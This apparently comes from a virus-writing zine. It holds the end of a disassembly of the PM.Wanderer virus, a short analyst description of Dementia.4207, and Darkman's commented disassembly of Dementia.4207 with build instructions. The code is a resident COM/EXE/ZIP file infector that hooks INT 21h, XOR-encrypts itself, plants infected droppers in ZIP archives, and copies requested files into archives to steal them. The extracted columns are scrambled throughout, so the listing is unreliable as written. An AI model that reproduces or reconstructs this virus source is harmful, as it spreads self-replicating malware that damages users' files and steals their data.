initialize_random_seed: pusha mov ah,2Ch call int_21h ; Get current time mov cs:random1,cx ; Hours + minutes mov cs:random2,dx ; Seconds + hundredths of second popa ret get_n_random: pusha call mov mov mul mov mov mul add adc mov popa ret get_random: mov mov cx,ax mul ax,cs:random1 bx,cs:random2 cs:mult_const ; Returns pseudo-random value in [0..(AX-1)] get_random bx,sp cx,dx word ptr ss:[bx+0Eh] ax,cx cx,dx word ptr ss:[bx+0Eh] ax,cx dx,0 ss:[bx+0Eh],dx

mov

shl add add add shl add add shl add add adc

cx,3 ch,cl dx,cx dx,bx bx,2 dx,bx dh,bl bx,5 dh,bl ax,1 dx,0 mov mov

cs:random1,ax cs:random2,dx

ret

mult_const dw random1 dw random2 dw encryptor_ptr dw ofs_endencryptor dw

8405h 0 0 offset(end_encryptor) offset(end_encryptor)

kill_copy4infection: call set_ds mov ax,ss mov es,ax mov esi,cs:page_1 mov ds:[esi+infecting],0 assume cs:data0 mov esp,cs:_esp assume cs:wanderer mov edi,esp mov ecx,STACK_SIZE/4 cld db 0F3h,66h,67h,0A5h push pop xor l_restore_pages: mov call inc inc cmp jne exit_21h: xor mov mov popad ax,ax ds,ax es,ax iretd

; Can infect again

; rep movsd (TASM FIX) ; Restore stack

ds es ebp,ebp mov esi,90h ; Restore pages allocated by infection procedure edx,cs:old_pages[ebp*4] map_page esi ; Next 4KB bp ; Next page bp,3 ; old_page1,2 and 3 restored? l_restore_pages ; No? then jmp

; Return to original caller

; Format of a Page Table Entry ; ; 31 12 11 0 ; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÍÍÑÍÍÍÑÍÑÍÑÍÍÍÑÍÑÍÑÍ» ; º ³ ³ ³ ³ ³ ³U³R³ º ; º PAGE FRAME ADDRESS 31..12 ³ AVAIL ³0 0³D³A³0 0³/³/³Pº ; º ³ ³ ³ ³ ³ ³S³W³ º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÍÍÏÍÍÍÏÍÏÍÏÍÍÍÏÍÏÍÏͼ

; ; ; ; ; ; ;

P - PRESENT R/W - READ/WRITE U/S - USER/SUPERVISOR D - DIRTY AVAIL - AVAILABLE FOR SYSTEMS PROGRAMMER USE NOTE: 0 INDICATES INTEL RESERVED. DO NOT DEFINE.

map_page: mov edi,cs:pagetable mov ebx,[edi][esi*4] dl,67h mov [edi][esi*4],edx eax,cr3 cr3,eax ; Read page in page table ; Store new page in page table

mov mov mov ret

setup_system_regs: movzx ebx,ds:virus_cs shl ebx,4 add ebx,offset(GDTR) ; Calculate GDTR phys address mov ds:addr_GDTR,ebx add ebx,IDTR-GDTR ; Calculate IDTR phys address add ds:addr_IDTR,ebx mov cx,ds:addr_dir_page mov es,cx shr cx,8 mov ax,0DE06h ; VCPI - Get dir page phys addr in 1st MB call VCPI mov ds:_CR3,edx ; EDX = physical address of dir page mov ax,0DE06h ; VCPI - Get phys addr of page in 1st MB mov cx,es shr cx,8 inc cx ; Addr of page table call VCPI or dl,7 ; User level, read-write, present mov es:[0],edx ; Store page table in page directory ret VCPI: int and jz pop no_ems_error: ret ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; 67h ; - LIM EMS ah,ah ; Error or VCPI not present ? no_ems_error ; No? then jmp ax jmp exec_host

DATA SEGMENT DESCRIPTOR 31 23 15 7 0 ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÑÍÑÍÑÍÑÍÍÍÍÍÍÍÍÍØÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º ³ ³ ³ ³A³ LIMIT ³ ³ ³ TYPE ³ º º BASE 31..24 ³G³B³0³V³ 19..16 ³P³ DPL ³ ³ BASE 23..16 º 4 º ³ ³ ³L³ ³ ³ ³1³0³E³W³A³ º ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÅÄÁÄÄÄÄÄÁÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ º ³ º º SEGMENT BASE 15..0 ³ SEGMENT LIMIT 15..0 º 0 º ³ º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ EXECUTABLE SEGMENT DESCRIPTOR

; ; 31 23 15 7 0 ; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÑÍÑÍÑÍÑÍÍÍÍÍÍÍÍÍØÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; º ³ ³ ³ ³A³ LIMIT ³ ³ ³ TYPE ³ º ; º BASE 31..24 ³G³D³0³V³ 19..16 ³P³ DPL ³ ³ BASE 23..16 º ; º ³ ³ ³ ³L³ ³ ³ ³1³0³C³R³A³ º ; ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÅÄÁÄÄÄÄÄÁÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ ; º ³ º ; º SEGMENT BASE 15..0 ³ SEGMENT LIMIT 15..0 º ; º ³ º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ; ; ; DESCRIPTORS USED FOR SPECIAL SYSTEM SEGMENTS ; ; 31 23 15 7 0 ; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÑÍÑÍÑÍÑÍÍÍÍÍÍÍÍÍØÍÑÍÍÍÍÍÑÍÑÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; º ³ ³ ³ ³A³ ³ ³ ³ ³ ³ º ; º BASE 31..24 ³G³X³O³V³ LIMIT ³P³ DPL ³0³ TYPE ³ BASE 23..16 º ; º ³ ³ ³ ³L³ 19..16 ³ ³ ³ ³ ³ º ; ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÅÄÁÄÄÄÄÄÁÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ ; º ³ º ; º SEGMENT BASE 15..0 ³ SEGMENT LIMIT 15..0 º ; º ³ º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ; ; ; A - ACCESSED E - EXPAND-DOWN ; AVL - AVAILABLE FOR PROGRAMMERS USE G - GRANULARITY ; B - BIG P - SEGMENT PRESENT ; C - CONFORMING R - READABLE ; D - DEFAULT W - WRITABLE ; DPL - DESCRIPTOR PRIVILEGE LEVEL ; ; System and Gate descriptor types : ; ; Code Type of Segment or Gate ; 0 -reserved ; 1 Available 286 TSS ; 2 LDT ; 3 Busy 286 TSS ; 4 Call Gate ; 5 Task Gate ; 6 286 Interrupt Gate ; 7 286 Trap Gate ; 8 -reserved ; 9 Available 386 TSS ; A -reserved ; B Busy 386 TSS ; C 386 Call Gate ; D -reserved ; E 386 Interrupt Gate ; F 386 Trap Gate

4

0

4

0

build_descriptor: ; ; ; ; movzx eax,ax mov [esi][eax],bx ebx,10h AX CX BX DX = = = = descriptor base address limit rights

; Limit 15..0

shr

shr

and or

mov ecx,10h mov mov bl,0Fh dh,bl mov mov

[esi+2][eax],cx ; Base 15..0 [esi+4][eax],cl ; Base 23..16 [esi+5][eax],dl ; Type, DPL, P,...

[esi+6][eax],dh ; Limit 19..16, AVL, G,... [esi+7][eax],ch ; Base 31..24

ret set_breakpoints: mov mov mov mov eax,eax mov mov eax,cs:i21h_ep dr0,eax eax,0FE05Bh dr1,eax ; Address for breakpoint 0 (int 21h) ; BIOS address: near jump to reboot ; Address for breakpoint 1

xor

; ; mov ret set_ds: mov mov ret ax,cs add ds,ax dr7,eax

dr6,eax ; Clear dr6 (the processor never clears it) eax,00000000000000000000001000001010b ^ ^ 2 breakpoints (globals)

ax,8

; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

80386 INTERRUPT GATE 31 23 15 7 0 ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÑÍÍÍÑÍÍÍÍÍÍÍÍÍØÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍ» º OFFSET 31..16 ³ P ³DPL³0 1 1 1 0³0 0 0³(NOT USED) º4 ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÁÄÄÄÁÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄĶ º SELECTOR ³ OFFSET 15..0 º0 ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ 80386 TRAP GATE 31 23 15 7 0 ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÑÍÍÍÑÍÍÍÍÍÍÍÍÍØÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍ» º OFFSET 31..16 ³ P ³DPL³0 1 1 1 1³0 0 0³(NOT USED) º4 ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÁÄÄÄÁÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄĶ º SELECTOR ³ OFFSET 15..0 º0 ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ; On entry: ; ECX = interrupt number ; AX = address of service routine ; DI = address to store orig int & sel esi,es:IDT_base ; Access to IDT bx,[esi+6][ecx*8] ; Offset 31..16 bx,[esi][ecx*8] ; es:[di],ebx ; bx,[esi+2][ecx*8] ; es:[di+4],bx ; bx,es:virus_selector [esi+2][ecx*8],bx ; [esi][ecx*8],ax ; word ptr [esi+6][ecx*8],0 Offset 15..0 Save original int Get selector Save original selector Set new selector Set new interrupt (15..0) ; (31..16)

build_idt_descriptor:

shl

mov mov ebx,10h mov mov mov mov mov mov mov mov

ret

system_registers: _CR3 dd addr_GDTR dd addr_IDTR dd LDTR dw TR dw pm_EIP dd pm_CS dw GDTR: limit_gdt base_gdt IDTR: limit_idt base_idt host_type codesegment pm_ep

0 0 0 0 TSS_SEL offset(pm_entry_point) CODE_SEL

; TSS selector ; Protected mode EIP ; Protected mode CS selector

dw dd

47h 0

dw dd db dw dd dw

0FFFFh 0 0 0 0 VCPICS_SEL

virus_end: size_mcb orig_i1 sel_i1 orig_i9 sel_i9 i21h_ep virus_cs virus_selector pages_4K: page_1 page_2 page_3 page_4 old_pages old_page2 old_page3 addr_dir_page infecting pagetable GDT: GDT_limit GDT_base IDT: IDT_limit IDT_base dw dd dw dd dw dd dw dw ? ? ? ? ? ? ? ?

dd dd dd dd dd dd dd dw db dd

? ? ? ? ? ? ? ? ? ?

dw dd

? ?

dw dd

? ?

org 1000h BUFFER_SIZE _stack: buffer1: buffer2:

=

1000h

db

BUFFER_SIZE dup(?)

header: signature image_size pages relo_items header_size mim_mem max_mem stack_seg stack_ofs checksum val_ip val_cs ofs_reloc overlays wanderer

dw dw dw dw dw dw dw dw dw dw dw dw dw dw ends

? ? ? ? ? ? ? ? ? ? ? ? ? ?

data0 org 0 _esp end_encryptor psp_seg filetime filedate previous_ofs mask_dec_ofs mask_enc_ofs ofs_loop_begin decryptor_size max_garbage ptr_select_reg code_size operations indexreg_op1 delta_ofs enc_buffer unused_reg saved_sp saved_ss org 0F0h copy_code data0 end

segment use16 db dd db db db dw dw dw dw dw dw dw dw dw dd dw dw db db dw dw dw db dw dw STACK_SIZE dup(?) ? 3Ch dup(?) ? 0Fh dup(?) ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ; Stack ; Buffer for encryptor ; Buffer for encryptor

= ends start

$

; End of PM.Wanderer disassembly ; (c) 1997, Tcp/29A (tcp@cryogen.com)

Dementia.4207 ÄÄÄÄÄÄÄÄÄÄÄÄÄ It is not a dangerous memory resident encrypted parasitic virus. It hooks INT 21h, then writes itself to the end of COM and EXE files that are executed or opened. The virus contains the text strings: !#TEMP#! REQUEST.IVA RECEIPT.IVA CALLFAST.COM *.* Dementia] Copyright 1993 Necrosoft enterprises I am the man that walks alone And when I'm walking a dark road At night or strolling through the park When the light begins to change I sometimes feel a little strange A little anxious when it's dark

-

All rights reserved

While opening any ZIP file the virus scans the contents of the ZIP file for the REQUEST.IVA file. If there is no such one inside of ZIP, the virus creates the CALLFAST.COM file, writes into there the video-effect routine, infects CALLFAST.COM and appends that file to the files stored in ZIP. So the virus "infects" ZIP file, after "infection" the ZIP file contains infected copy of the virus. If there is the REQUEST.IVA file in the ZIP, and that file is of the special format (there is ID-string 92h,14h,76h,17h, and there is one or more file search pattern) the virus creates RECEIPT.IVA file, searches for the files are listed in the REQUEST.IVA file, copies them into RECEIPT.IVA, encrypts the result, and stores it into the ZIP. So the virus is able to "stole" the files from the computer and save them into the ZIP containing special REQUEST.IVA file. While processing the ZIP files the virus does not call PKZIP/PKUNZIP utilities, but parses by itself the internal ZIP format, reads/writes the ZIP records and adds new ones. While writing new data into the ZIP files the virus does not use compression, but writes it in not compressed form (ZIP method "stored"). The virus dropper (the CALLFAST.COM file) contains the routine witch displays when executed: DEMENTIA (512)PRI-VATE ú 0 day wares ú V-X 800 megs online ú USR Dual 16.8k -\- Psychotech <Image> -/ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DEMENTIA.ASM]ÄÄ comment * Dementia.4207 Disassembly by Darkman/29A Dementia.4207 is a 4207 bytes parasitic resident COM/EXE/ZIP virus. Infects files at close file, open file and load and/or execute program by appending the virus to the infected COM/EXE file and storing in the infected ZIP file. Dementia.4207 has an error handler, 16-bit exclusive OR (XOR) encryption in file and is using archive infection technique. To compile Dementia.4207 with Turbo Assembler v 4.0 type: TASM /M DEMENTIA.ASM

TLINK /x DEMENTIA.OBJ EXE2BIN DEMENTIA.EXE DEMENTIA.COM * .model tiny .code code_begin: call delta_offset: pop add mov

delta_offset si ; Load SI from stack si,(crypt_begin-delta_offset-02h) di,si ; DI = offset of code_end - 02h

std ; Set direction flag mov cx,(crypt_begin-crypt_end-02h)/02h decrypt_key equ word ptr $+01h ; Decryption key mov dx,00h ; DX = decryption key push pop decrypt_loop: lodsw xor stosw jmp crypt_end: loop cld push sub nop mov shr mov add push lea push retf virus_begin: push pop pop mov mov call cmp je call virus_exit: mov cmp nop je cs cs ds es ; Save segments at stack ; Load segments from stack (CS) ; AX = word of encrypted code ; Decrypt two bytes ; Store two plain bytes

ax,dx

crypt_end decrypt_loop ; Clear direction flag cs ; Save CS at stack si,(crypt_end-code_begin) cl,04h si,cl ax,cs ax,si ax ; ; ; ; ; Divide by paragraphs SI = offset of crypt_end in para... AX = code segment Add code segment to delta offset... Save AX at stack

ax,virus_begin ; AX = offset of virus_begin ax ; Save AX at stack ; Return far! cs ds ; Save CS at stack ; Load DS from stack (CS)

ax ; Load AX from stack (CS) [code_seg_],ax ; Store code segment bx,1492h close_file bx,1776h virus_exit install ah,[com_or_exe] ; AH = COM or EXE executable? ah,00h ; COM executable? vir_com_exit ; Equal? Jump to vir_com_exit ; Dementia.4207 function ; Already resident? ; Equal? Jump to virus_exit

mov mov sub mov mov add mov xchg cli mov add mov mov mov sti mov int mov mov xor xor xor xor xor xor jmp vir_com_exit: mov lea nop movsw movsb push mov push xor xor xor xor xor xor push pop retf

ax,[code_seg_] ; AX = code segment bx,[initial_cs] ; AX = initial CS relative to star... ax,bx ; Subtract initial CS relative to ... dx,ax ; DX = segment of PSP for current ... bx,[code_seg] ; BX = original code segment ax,bx ; Add original code segment to seg... [code_seg],ax ; Store original code segment ax,dx ; AX = segment of current PSP proc...

; Clear interrupt-enable flag bx,[stack_seg] ; BX = original stack segment ax,bx ; Add original stack segment to se... ss,ax ; SS = original stack segment ax,[stack_ptr] ; AX = original stack pointer sp,ax ; SP = " " " ; Set interrupt-enable flag ah,62h 21h ds,bx es,bx ax,ax bx,bx cx,cx dx,dx si,si di,di ; Get current PSP address ; DS = segment of PSP for current ... ; ES = segment of PSP for current ... ; ; ; ; ; ; Zero Zero Zero Zero Zero Zero AX BX CX DX SI DI

dword ptr cs:[instruct_ptr] di,100h si,origin_code ; DI = offset of beginning of code ; SI = offset of origin_code

; Move the original code to beginning ; " " " " " " es ax,100h ax ax,ax bx,bx cx,cx dx,dx si,si di,di es ds ; Save ES at stack ; AX = offset of beginning of code ; Save AX at stack ; ; ; ; ; ; Zero Zero Zero Zero Zero Zero AX BX CX DX SI DI

; Save ES at stack ; Load DS from stack (ES) ; Return far! ; Upcase character ; Lowcase character? ; Less? Jump to dont_upcase ; Lowcase character? ; Greater? Jump to dont_upcase

upcase_char proc near cmp al,'a' jl dont_upcase cmp al,'z' jg dont_upcase

sub dont_upcase: ret endp int21_virus proc pushf cld cmp jne cmp jne mov popf iret tst_open_fil: cmp jne cmp je push mov find_dot: lodsb cmp je cmp jne lodsb call cmp jne lodsb call cmp jne lodsb call cmp jne call jmp tst_exe_exec: cmp jne lodsb call cmp jne

al,20h

; Upcase character ; Return!

near

; Interrupt 21h of Dementia.4207 ; Save flags at stack ; Clear direction flag

ah,3eh ; Close file? tst_open_fil ; Not equal? Jump to tst_open_fil bx,1492h tst_open_fil bx,1776h ; Dementia.4207 function? ; Not equal? Jump to tst_open_fil ; Already resident ; Load flags from stack ; Interrupt return! ah,3dh ; Open file tst_load_and ; Not equal? Jump to tst_load_and al,0ffh dementia_fun ax si si,dx ; Dementia.4207 function ; Equal? Jump to dementia_fun ; Save registers at stack ; SI = offset of filename

; AL = byte of filename al,00h ; End of filename? open_fi_exit ; Equal? Jump to open_fi_exit al,'.' find_dot ; Found the dot in the filename ; Not equal? Jump to find_dot

; AL = byte of extension upcase_char al,'C' ; COM executable? tst_exe_exec ; Not equal? Jump to tst_exe_exec ; AL = byte of extension upcase_char al,'O' ; COM executable? open_fi_exit ; Not equal? Jump to open_fi_exit ; AL = byte of extension upcase_char al,'M' ; COM executable? open_fi_exit ; Not equal? Jump to open_fi_exit inf_com_exe open_fi_exit al,'E' tst_zip_arch ; EXE executable? ; Not equal? Jump to tst_zip_arch

; AL = byte of extension upcase_char al,'X' ; EXE executable? open_fi_exit ; Not equal? Jump to open_fi_exit

lodsb call cmp jne call jmp tst_zip_arch: cmp jne lodsb call cmp jne lodsb call cmp jne call jmp open_fi_exit: pop jmp dementia_fun: mov tst_load_and: cmp jne call int21_exit: popf jmp endp install push mov int mov next_mcb: mov mov cmp je mov mov add inc jmp proc

; AL = byte of extension upcase_char al,'E' ; EXE executable? open_fi_exit ; Not equal? Jump to open_fi_exit inf_com_exe open_fi_exit al,'Z' open_fi_exit ; ZIP archive? ; Not equal? Jump to open_fi_exit

; AL = byte of extension upcase_char al,'I' ; ZIP archive? open_fi_exit ; Not equal? Jump to open_fi_exit ; AL = byte of extension upcase_char al,'P' ; ZIP archive? open_fi_exit ; Not equal? Jump to open_fi_exit infect_zip open_fi_exit si ax tst_load_and al,02h ah,4bh int21_exit inf_com_exe ; Load flags from stack cs:[int21_addr] ; Dementia.4207 function ; Load and/or execute program? ; Not equal? Jump to int21_exit ; Load registers from stack

near es ah,52h 21h

; Allocate memory, move virus to t... ; Save ES at stack ; Get list of lists

ax,es:[bx-02h] ds,ax al,ds:[00h] al,'Z' allocate_mem

; AX = segment of first memory con...

; DS = segment of current memory c... ; AL = block type ; Last block in chain? ; Equal? Jump to allocate_mem

ax,ds ; AX = segment of current memory c... bx,ds:[03h] ; BX = size of memory block in par... ax,bx ; Add size of memory block in para... ax ; AX = segment of next memory cont... next_mcb

allocate_mem: mov sub mov mov add inc mov push pop xor xor mov rep push lea push retf install_: push pop mov int mov mov lea mov int pop ret endp

bx,ds:[03h] ; BX = size of memory block in par... bx,(code_end-code_begin+0fh)/10h*02h ds:[03h],bx ; Store new size of memory control... ax,ds ax,bx ax es,ax cs ds ; ; ; ; AX = segment Add new size AX = segment ES = " of last memory cont... of memory block in ... of virus " "

; Save CS at stack ; Load DS from stack (CS)

si,si ; Zero SI di,di ; Zero DI cx,(code_end-code_begin) movsb ; Move virus to top of memory es ; Save ES at stack

ax,install_ ; AX = offset of install_ ax ; Save AX at stack ; Return far! cs ds ; Save CS at stack ; Load DS from stack (CS)

ax,3521h ; Get interrupt vector 21h 21h word ptr [int21_addr+02h],es word ptr [int21_addr],bx dx,int21_virus ax,2521h 21h es ; DX = offset of int21_virus ; Set interrupt vector 21h

; Load ES from stack ; Return!

inf_com_exe proc near push bp mov bp,sp sub sp,06h push call call jc call and cmp je mov add mov

; Infect COM/EXE file ; Save BP at stack ; BP = stack pointer ; Correct stack pointer

ax bx cx dx si di ds es int24_store open_file com_exe_exit

; Error? Jump to com_exe_exit

load_info cx,0000000000011111b cx,0000000000000001b call_close ; Already infected? Jump to call_c... ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h ds,ax ; DS = segment of data buffer

mov call mov cmp je cmp je call jmp call_infect: call call_mark: call call_close: call com_exe_exit: call pop mov pop ret endp

cx,20h read_file ax,ds:[00h] ax,'MZ' call_infect ax,'ZM' call_infect infect_com call_mark infect_exe infect_mark close_file int24_load

; Read thirty-two bytes

; AX = EXE signature ; Found EXE signature? ; Equal? Jump to call_infect ; Found EXE signature? ; Equal? Jump to call_infect

es ds di si dx cx bx ax sp,bp bp ; SP = stack pointer ; Load BP from stack ; Return!

infect_zip proc near push bp mov bp,sp sub sp,28h push xor mov mov mov call push lea nop call mov pop call jnc jmp load_info_: mov call mov add mov

; Infect ZIP archive ; Save BP at stack ; BP = stack pointer ; Correct stack pointer

ax bx cx dx si di ds es ax,ax ; Didn't found file [bp-0eh],ax ; Store didn't found CALLFAST.COM [bp-10h],ax ; " " " REQUEST.IVA [bp-12h],ax ; " " " RECEIPT.IVA int24_store dx ds ; Save registers at stack dx,temp_file ; DX = offset of temp_file create_file [bp-0ah],ax ; Store file handle of !#TEMP#! ds dx ; Load registers from stack open_file load_info_ inf_zip_exit [bp-08h],ax load_info ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h ds,ax ; DS = segment of data buffer ; Store file handle of ZIP file

; No error? Jump to load_info_

next_lfh_sig: mov call mov cmp je jmp test_dir_sig: mov cmp jne jmp read_lfh: mov call mov mov call push pop lea nop mov request_loop: lodsb mov inc cmp je cmp jne jmp found_reques: mov mov xor xor call mov mov find_callfas: lea nop mov callfas_loop: lodsb mov inc cmp je

cx,04h read_file ax,ds:[00h] ax,'KP' test_dir_sig call_mark_ ax,ds:[02h] ax,201h read_lfh zero_cdh_num cx,1ah read_file

; Read four bytes

; AX = low-order word of file head... ; Found low-order word of file ha...? ; Equal? Jump to test_dir_sig

; AX = high-order word of file hea... ; Found high-order word of central... ; Not equal? Jump to read_lfh

; Read twenty-six bytes

cx,ds:[16h] ; CX = filename length dx,20h ; DI = offset of filename read_file_ cs es ; Save CS at stack ; Load ES from stack (CS) ; DI = offset of request_iva

di,request_iva si,20h

; SI = offset of filename

; AL = byte of filename ah,es:[di] ; AH = byte of request_iva di ; Increase index register

ah,00h ; End of filename? found_reques ; Equal? Jump to found_reques ah,al ; Byte of filename equal to byte o... find_callfas ; Not equal? Jump to find_callfas request_loop ax,01h ; Found REQUEST.IVA [bp-10h],ax ; Store found REQUEST.IVA cx,cx ; Zero CX dx,dx ; Zero DX set_pos_cfp [bp-24h],ax ; AX = low-order word of extra field [bp-22h],dx ; DX = high-order word of extra field di,callfast_com si,20h ; DI = offset of callfast_com

; SI = offset of filename

; AL = byte of filename ah,es:[di] ; AH = byte of callfast_com di ; Increase index register

ah,00h ; End of filename? found_callfa ; Equal? Jump to found_callfa

cmp jne jmp found_callfa: mov mov find_receipt: lea nop mov receipt_loop: lodsb mov inc cmp je cmp jne jmp found_receip: mov mov calc_lfh_ptr: mov mov mov add adc call jmp zero_cdh_num: xor mov copy_cds: mov inc mov mov mov call mov call mov mov add mov add mov call mov

ah,al ; Byte of filename equal to byte o... find_receipt ; Not equal? Jump to find_receipt callfas_loop ax,01h ; Found CALLFAST.COM [bp-0eh],ax ; Store found CALLFAST.COM di,receipt_iva si,20h ; DI = offset of receipt_iva

; SI = offset of filename

; AL = byte of filename ah,es:[di] ; AH = byte of receipt_iva di ; Increase index register

ah,00h ; End of filename? found_receip ; Equal? Jump to found_receip ah,al ; Byte of filename equal to byte o... calc_lfh_ptr ; Not equal? Jump to calc_lfh_ptr receipt_loop ax,01h ; Found RECEIPT.IVA [bp-12h],ax ; Store found RECEIPT.IVA dx,ds:[0eh] ; DX = low-order word of compresse... cx,ds:[10h] ; CX = high-order word of compress... ax,ds:[18h] ; AX = extra field length dx,ax ; Add extra field length to compre... cx,00h ; Convert to 32-bit set_pos_cfp next_lfh_sig ax,ax ; No central directory file header... [bp-0ch],ax ; Store no central directory file ... ax,[bp-0ch] ; AX = number of central directory... ax ; Increase number of central direc... [bp-0ch],ax ; Store number of central director... bx,[bp-08h] ; BX = file handle of ZIP file cx,2ah ; Read forty-two bytes read_file bx,[bp-0ah] write_file_ ; BX = file handle of !#TEMP#!

cx,ds:[18h] ; CX = filename length bx,ds:[1ah] ; BX = extra field length cx,bx ; Add extra field length to filena... bx,ds:[1ch] ; BX = file comment length cx,bx ; CX = number of bytes to read bx,[bp-08h] read_file_ bx,[bp-0ah] ; BX = file handle of ZIP file

; BX = file handle of !#TEMP#!

call mov mov call mov cmp je jmp test_eoc_sig: mov cmp je jmp copy_eocds: mov mov call mov mov mov mov mov call mov mov call mov call mov or jz jmp test_callfas: mov or jz jmp create_file_: lea nop call mov mov mov nop lea nop call call

write_file_ cx,04h ; Read four bytes bx,[bp-08h] ; BX = file handle of ZIP file read_file_ ax,ds:[00h] ax,'KP' test_eoc_sig call_mark_ ax,ds:[02h] ax,605h copy_eocds copy_cds bx,[bp-08h] ; BX = file handle of ZIP file cx,12h ; Read eightteen bytes read_file ax,ds:[0ch] [bp-18h],ax ax,ds:[0eh] [bp-16h],ax bx,[bp-0ah] write_file_ cx,ds:[10h] bx,[bp-08h] read_file_ bx,[bp-0ah] write_file_ ; ; ; ; AX = low-order word of offset of... Store low-order word of offset o... AX = high-order word of offset o... Store high-order word of offset ... ; AX = high-order word of end of c... ; Found high-order word of end of ... ; Equal? Jump to read_oecds ; AX = low-order word of end of ce... ; Found low-order word of end of ...? ; Equal? Jump to test_eoc_sig

; BX = file handle of !#TEMP#!

; CX = zipfile comment length ; BX = file handle of ZIP file

; BX = file handle of !#TEMP#!

ax,[bp-10h] ; AX = found REQUEST.IVA ax,ax ; Didn't found REQUEST.IVA test_callfas ; Zero? Jump to test_callfas test_receipt ax,[bp-0eh] ; AX = found CALLFAST.COM ax,ax ; Didn't found CALLFAST.COM create_file_ ; Zero? Jump to create_file_ call_mark_ dx,callfast_com create_file [bp-14h],ax bx,[bp-14h] ; DX = offset of callfast_com

; Store file handle of CALLFAST.COM ; BX = file handle of CALLFAST.COM

cx,(file_end-file_begin) dx,file_begin write_file_ close_file ; DX = offset of file_begin

mov mov lea nop call xor mov push pop push pop lea nop lea nop mov rep open_filenam: push pop lea nop call call mov mov call mov mov mov mov mov call mov add mov mov mov mov mov mov mov xor mov mov mov mov mov mov mov mov mov

ax,01h ; Don't test filesize [tst_filesize],ax ; Store don't test filesize dx,callfast_com inf_com_exe ax,ax ; Test filesize [tst_filesize],ax ; Store test filesize cs ds cs es ; Save CS at stack ; Load DS from stack (CS) ; Save CS at stack ; Load ES from stack (CS) ; SI = offset of callfast_com ; DI = offset of filename ; Move thirteen bytes ; Move CALLFAST.COM to filename ; Save CS at stack ; Load DS from stack (CS) ; DX = offset of filename ; DX = offset of callfast_com

si,callfast_com di,filename cx,0dh movsb cs ds dx,filename open_file set_pos_eof [bp-1ch],ax [bp-1ah],dx calc_crc32 [bp-20h],ax [bp-1eh],dx bx,[bp-08h] cx,[bp-16h] dx,[bp-18h] set_pos_sof_

